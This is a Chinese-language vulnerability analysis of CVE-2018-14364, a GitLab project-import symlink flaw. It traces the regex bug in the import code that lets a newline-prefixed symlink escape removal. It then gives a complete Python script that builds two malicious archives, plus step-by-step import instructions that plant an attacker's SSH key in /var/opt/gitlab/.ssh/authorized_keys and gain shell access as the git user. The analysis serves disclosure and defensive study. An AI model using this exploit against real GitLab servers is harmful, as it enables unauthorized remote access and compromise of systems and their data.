漏洞公告

2018年7月17日,Gitlab官方发布安全更新版本,修复了一个远程命令执行漏洞,CVE ID为CVE-2018-14364,该漏洞由长亭研究人员发现,并在hackerone平台提交

影响版本:>= 8.9.0
修复版本:11.0.4, 10.8.6, and 10.7.7

漏洞分析

以版本11.0.3为例。根据版本源码对比

从CHANGELOG.md中得知为Fix symlink vulnerability in project import

主要修改的代码文件为lib/gitlab/import_export/file_importer.rb

主要关注一下extracted_files

当我们import一个项目时,会进入到file_import.rb。然后调用第17行的:

def import
        mkdir_p(@shared.export_path)

        remove_symlinks!

        wait_for_archived_file do
            decompress_archive
         end
    rescue => e
        @shared.error(e)
        false
    ensure
        remove_symlinks!    
    end

remove_symlinks用于删除导入文件中存在的符号链接。此前gitlab就因为符号链接的问题爆出过多个RCE问题,因此在这里做了检查:

def remove_symlinks!
        extracted_files.each do |path|
           FileUtils.rm(path) if File.lstat(path).symlink?
        end

        true
    end

extracted_files定义在61行,这个方法用于列出解压出来的所有文件。

def extracted_files
        Dir.glob("#{@shared.export_path}/**/*", File::FNM_DOTMATCH).reject { |f| f =~ %r{.*/\.{1,2}$} }
    end

ruby中,关于正则表达式的符号定义如下:

也就是说%r{.*/\.{1,2}$}这个正则表达式最后的$只能匹配到一行的末尾(Matches end of line),而不是整个字符串的末尾(Matches end of string)。

根据POSIX 标准,对于文件名(filename)除了slash character/和null byte NULL外,其余字符均可以:

所以只要创建一个名字以\n开头的符号链接文件,就无法被extracted_files列出。

回到版本源码对比,在测试文件file_importer_spec.rb里:

因此构建测试环境:

require "tmpdir"
puts "The temp dir is: #{Dir.tmpdir}"

export_path="#{Dir.tmpdir}/file_importer"
evil_symlink_file="#{export_path}/.\nevil"
valid_file="#{export_path}/valid.json"

FileUtils.mkdir_p("#{export_path}/subfolder/")
FileUtils.touch(valid_file)
FileUtils.ln_s(valid_file, evil_symlink_file)

可以看到原本的正则表达式是无法检测到\nevil文件的:

利用过程

提供一下压缩包生成脚本:

import os
import shutil

def step_one():
        os.chdir(uploads_dir)
        gitlab_dir = "/var/opt/gitlab"
        evil_symlink_name = ".\nevil"
        os.symlink(gitlab_dir, evil_symlink_name)
        os.chdir(exp_dir)
        os.system("tar -czf ../step1.tar.gz  . && rm -r uploads && mkdir uploads")

def step_two():
        os.chdir(uploads_dir)
        evil_ssh_dir_name = ".\nevil/.ssh"
        os.makedirs(evil_ssh_dir_name)
        evil_dir = os.getcwd() + "/" + evil_ssh_dir_name
        os.chdir(evil_dir)
        shutil.copy(authorized_keys,"authorized_keys")
        os.chdir(exp_dir)
        os.system("tar -czf ../step2.tar.gz  . && rm -r uploads && mkdir uploads")

if __name__ == '__main__':
        uploads_dir = os.getcwd() + "/evil/uploads"
        exp_dir = os.getcwd() + "/evil"
        authorized_keys = os.getcwd() + "/key.pub"
        step_one()
        step_two()

key.pub里保存公钥。其余文件见文末附件压缩包。

创建项目project ,选择Import project后选择Import an exported GitLab project

待导入成功后,如下图:

注意此时的项目名为test,同时右下角有一个Remove project,点击删除掉project,然而此时在gitlab的目录下,test还没有被删除。

新建一个project,仍然采用Import an exported GitLab project,然后上传第二个压缩包

第二个压缩包的内容如下,\nevil是目录名

VERSION
project.json
uploads/
uploads/.\nevil/
uploads/.\nevil/.ssh/
uploads/.\nevil/.ssh/authorized_keys

gitlab在解压第二个压缩包时,会尝试往目录\nevil里写入.ssh/authorized_keys,而由于上一步的符号链接\nevil没有删除,所以实际写入的目录是/var/opt/gitlab/.ssh/authorized_keys

可以看到authorized_keys已经被写入了公钥。此后用用户名git和公钥对应的私钥直接ssh连接服务器即可。

Reference

poc.zip (0.004 MB) 下载附件
源链接

Hacking more

...